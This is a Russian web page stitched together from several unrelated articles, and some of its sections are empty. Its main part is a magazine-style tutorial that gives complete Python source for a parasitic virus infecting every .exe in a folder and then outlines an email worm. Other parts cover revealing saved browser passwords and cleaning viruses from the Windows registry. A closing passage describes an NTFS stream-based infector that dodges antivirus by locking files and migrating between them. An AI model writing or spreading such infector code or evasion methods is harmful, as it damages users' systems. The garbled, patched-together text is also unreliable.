Как узнать код от для вируса

Обновлено: 28.03.2024

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Отправка письма

Отправка письма с вложением

Несколько замечаний

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Все браузеры при наборе пароля скрывают введенные символы звездочками или точками. Формат в данном случае зависит от настройки, как программы, так и сайта. Существует несколько простых способов увидеть пароль, скрытый за точками или звездочками. Но, в большинстве случаев, необходим прямой доступ к браузеру, через который вводилась данная комбинация.

В каких случаях нужно узнать пароль

При заполнении соответствующих полей браузеры предлагают сохранить набранные символы. И пользователи часто это делают. Такой подход в будущем упрощает вход на различные сайты и помогает не запоминать пароли. Однако со временем может случиться так, что пользователю приходится переустанавливать браузер или операционную систему либо заходить в личный кабинет (страницу в социальной сети) на стороннем компьютере. В подобных ситуациях придется заново вводить заданный набор букв и цифр.

пароль скрытый точками

Потребность узнать пароль возникает в тех случаях, когда пользователь забыл нужную комбинацию. Обычно сайты предоставляют возможность восстановить эти данные. Но в некоторых ситуациях данная операция занимает много времени. А если речь идет о доступе в личный кабинет на сайте банка, то процедура может потребовать дополнительных манипуляций типа предоставления паспортных данных и иной информации. В подобных случаях проще попытаться узнать, чем восстанавливать пароль.

Также за этой информацией нередко охотятся злоумышленники. Но нужно помнить о том, что использование личных данных против воли человека карается по закону.

Если доступ к компьютеру имеют другие пользователи, то сохранять пароли в браузере не рекомендуется. Получить такую информацию можно, воспользовавшись стандартными функциями программы.

Как это сделать при помощи браузера

Получить пароли можно при условии, если такая информация сохранена в браузере. В ином случае открыть эти данные невозможно.

Через код страницы

Чтобы узнать пароль через браузер, нужно:

Перейти на страницу, на которой пользователь ранее сохранил эти данные.

Ввести в соответствующее поле любой набор букв и/или цифр.

1

2

3

4

Через сохраненные данные в браузере

Порядок выполнения рассматриваемой операции зависит от типа установленной программы. Чтобы узнать пароль через Google Chrome, потребуется:

1

Открыть одноименный раздел с паролями.

2

Найти название сайта с сохраненным паролем и нажать на значок глаза.

Если компьютер не запаролен, то искомая информация откроется сразу. В ином случае придется ввести PIN-код или криптографический ключ (в зависимости от того, что применяет владелец компьютера).

Сходным образом можно найти данную информацию в Яндекс.Браузере. В этом случае нужно открыть несколько разделов в следующем порядке:

В конце, как и в первом случае, нужно выбрать определенный сайт и нажать на звездочки.

Применение специальных программ

Узнать данную информацию можно с помощью специальных расширений, которые устанавливаются непосредственно в браузер. Для Google Chrome это ShowPassword. Данное приложение автоматически раскрывает звездочки или точки при наведении курсора или двойном щелчке.

1212

Для раскрытия данной информации можно использовать сторонние программы. В этом случае помогает SterJo Browser Password. Программа раскрывает все сохраненные в установленных браузерах пароли.

При использовании подобных продуктов нужно учитывать два нюанса:

Есть также программы, которые позволяют узнать все пароли, сохраненные на компьютере, а не только в браузере.

Стоит ли хранить пароли средствами программ и браузеров

Сохранение подобной информации на компьютере упрощает работу. Пользователям не нужно запоминать различные циферно-буквенные комбинации, которые открывают доступ к сайтам и программам. Но сохранять такие сведения разрешается в том случае, когда компьютером пользуется только владелец. В иных ситуациях злоумышленники могут завладеть этой информацией.

Во избежание подобных последствий внесенные данные рекомендуется запоминать либо записывать в блокнот. Также нужно учитывать, что операционная система или программы могут потребовать переустановки, из-за чего данная информация будет утрачена навсегда.

Доброго времени суток, друзья. Я вот много пишу о борьбе с разными вредоносными программами, которые блокируют запуск системы, замедляют работу компьютера, отображают рекламу в браузерах. Но удаление зараженных файлов и процессов – это лишь вершина айсберга. Необходимо выполнять более глубокое сканирование. Хотите узнать, как проверить реестр на вирусы? Данная статья полностью посвящена этой теме.

Что такое реестр?

Это своего рода база данных, которая содержит массив атрибутов и значений, отвечающих за конфигурацию Windows и установленных приложений. Также, там храниться информация об учётных записях пользователей.

Следы фотошопа в реестре

А после использования утилиты для поиска рекламных вирусов Anti-Malware (от Malwarebytes) было найдено множество ключей, которые пришлось почистить вручную:

Следы Anti Malware в реестре

А Вы не задумывались, почему компания Microsoft до сих пор не создала собственного инструмента для сканирования реестра на ошибки?

Вообще-то, реестр не может содержать трояны и прочие вредоносные скрипты, но в нём могут храниться измененные записи, влияющие на работоспособность системы. Вирусы могут влиять на автозагрузку, выполнение процессов и т.д. С этим нужно бороться, согласны?

С чего начать?

Полное сканирование системы

Для этой цели подойдет разный защитный софт. Наилучшим образом себя проявляет KIS (Internet Security от Kaspersky Lab). Это комплексный инструмент, который я не хочу сейчас расхваливать. Его преимущества всем и так давно известны.

Если нет желания платить деньги за качественную проверку, то в качестве альтернативы советую скачать свеженькую версию Cure It! от Доктор Веб.

После запуска обязательно выберите все объекты сканирования:

Сканирование флешки с помощью CureIt

Конечно же, данный способ не даёт 100%-ой гарантии успеха, но большинство угроз будут удалены. Останется только обезвредить их и перезапустить компьютер.

Автоматический поиск в реестре

Если после вышеупомянутых шагов (сканирования с помощью антивируса nod32 или любого другого подобного софта) поведение ПК всё еще остается загадочным, то следует выполнить очистку конфигурационной базы данных.

Уже более пяти лет я использую именно это ПО из-за его простоты и удобства. Иногда тестирую другие продукты аналогичного типа, но в итоге возвращаюсь к данному оптимизатору.

Вкладка Реестр программы CCleaner

  • Отобразится список ошибок. У меня он оказался небольшим, так как проверку выполняю почти ежедневно. У Вас может быть несколько сотен пунктов, если ни разу не выполняли чистку.

Окно создания копии реестра в СиКлинер

Окно исправления ошибок реестра

Вот и всё. Реестр почищен. Ошибки устранены.

Ручная проверка

Ответственность за дальнейшие действия лежит исключительно на Вас! Я подскажу универсальный способ, но каждая ситуация индивидуальна и требует особого подхода и повышенной внимательности!

Если в чем-то сомневаетесь, обязательно задавайте вопросы мне или ищите ответы через поисковые системы.

Всё указывало на то, что в реестре (разделе автозагрузки) остались следы этого скрипта. Откровенно говоря, CCleaner не помог (увы, он тоже не всесилен). Что я сделал?

Окно редактора реестра с ключами вируса hsgpxjt

Возможно, Вам придется потратить больше времени, если вирус оставил множество следов. Но так будет надежнее.

На этом извольте откланяться. Все вопросы и пожелания можете писать в комментариях. Я не обещаю поддержку 24/7, но обязательно отвечу всем оперативно и, по существу.


Пара вступительных слов

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Продолжение доступно только участникам

Вариант 2. Открой один материал

Крис Касперски

Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Читайте также: